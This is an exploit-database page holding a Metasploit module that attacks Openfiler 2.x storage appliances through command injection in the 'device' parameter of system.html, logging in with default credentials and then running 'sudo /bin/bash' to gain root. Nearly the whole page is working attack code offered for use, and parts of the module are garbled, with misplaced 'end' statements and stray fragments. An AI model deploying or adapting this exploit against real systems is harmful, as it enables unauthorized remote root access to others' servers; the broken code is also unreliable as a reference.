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# OpenFiler 2.x - NetworkCard Command Execution (Metasploit)

**EDB-ID:**

21191

**CVE:**

**EDB Verified:** 

**Author:**

[METASPLOIT](#)

**Type:**

[REMOTE](#)

**Exploit:**   / 

**Platform:**

[LINUX](#)

**Date:**

2012-09-10

**Vulnerable App:**



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```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'          => "Openfiler v2.x NetworkCard Command
Execution",
      'Description'   => %q{
This module exploits a vulnerability in Openfiler v2.x
which could be abused to allow authenticated users to
execute arbitrary
code under the context of the 'openfiler' user. The
'system.html' file
uses user controlled data from the 'device' parameter to
create a new
'NetworkCard' object. The class constructor in
'network.inc' calls exec()
with the supplied data. The 'openfiler' user may 'sudo
/bin/bash' without
providing a system password.
},
      'License'       => MSF_LICENSE,
      'Author'        =>
[
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and
exploit
],
      'References'    =>
[
['URL', 'http://itsecuritysolutions.org/2012-09-06-
Openfiler-v2.x-multiple-vulnerabilities/']
#[ 'OSVDB', '' ],
#[ 'EDB', '' ],
],
      'DefaultOptions' =>
{
'ExitFunction' => 'none'
},
      'Platform'      => 'unix',
      'Arch'          => ARCH_CMD,
      'Payload'       =>
{
'Space'          => 1024,
'BadChars'       => "\x00",
'DisableNops'    => true,
'Compat'         =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet python perl
bash',
}
},
      'Targets'       =>
[
['Automatic Targeting', { 'auto' => true }]
],
    )
  end
end
```

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```

'Privileged' => false,
'DisclosureDate' => "Sep 04 2012",
'DefaultTarget' => 0))

register_options(
[
  Opt::RPORT(446),
  OptBool.new('SSL', [true, 'Use SSL', true]),
  OptString.new('USERNAME', [true, 'The username for the
application', 'openfiler']),
  OptString.new('PASSWORD', [true, 'The password for the
application', 'password'])
], self.class)
end

def check

  @peer = "#{rhost}:#{rport}"

  # retrieve software version from login page
  print_status("#{@peer} - Sending check")
  begin
    res = send_request_cgi({
      'uri' => '/'
    })

    if res and res.code == 200 and res.body =~ /<strong>Distro
Release:&nbsp;<\/strong>Openfiler [NE]SA 2\./
      return Exploit::CheckCode::Appears
    elsif res and res.code == 200 and res.body =~ /<title>Openfiler
Storage Control Center<\/title>/
      return Exploit::CheckCode::Detected
    end

  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,
::Rex::ConnectionTimeout
    print_error("#{@peer} - Connection failed")
  end
  return Exploit::CheckCode::Unknown

end

def on_new_session(client)
  client.shell_command_token("sudo /bin/bash")
end

def exploit

  @peer = "#{rhost}:#{rport}"
  user = datastore['USERNAME']
  pass = datastore['PASSWORD']
  cmd = Rex::Text.uri_encode("&#{payload.raw}&")

  # send payload
  print_status("#{@peer} - Sending payload (#{payload.raw.length}
bytes)")
  begin
    res = send_request_cgi({
      'uri' => "/admin/system.html?step=2&device=lo#{cmd}",
      'cookie' => "usercookie=#{user}; passcookie=#{pass};",
    }, 25)
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,
::Rex::ConnectionTimeout
    fail_with(Exploit::Failure::Unknown, 'Connection failed')
  end

  if res and res.code == 200 and res.body =~ /<title>System :
Network Setup<\/title>/

```

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```

network_setup\utils\
    print_good("#{@peer} - Payload sent successfully")
    elsif res and res.code == 302 and res.headers['Location'] =~
/\index\.html\?redirect/
        fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
    else
        fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
    end
end
end
end

```

Tags: [Metasploit Framework](#)  
[\(MSF\)](#)

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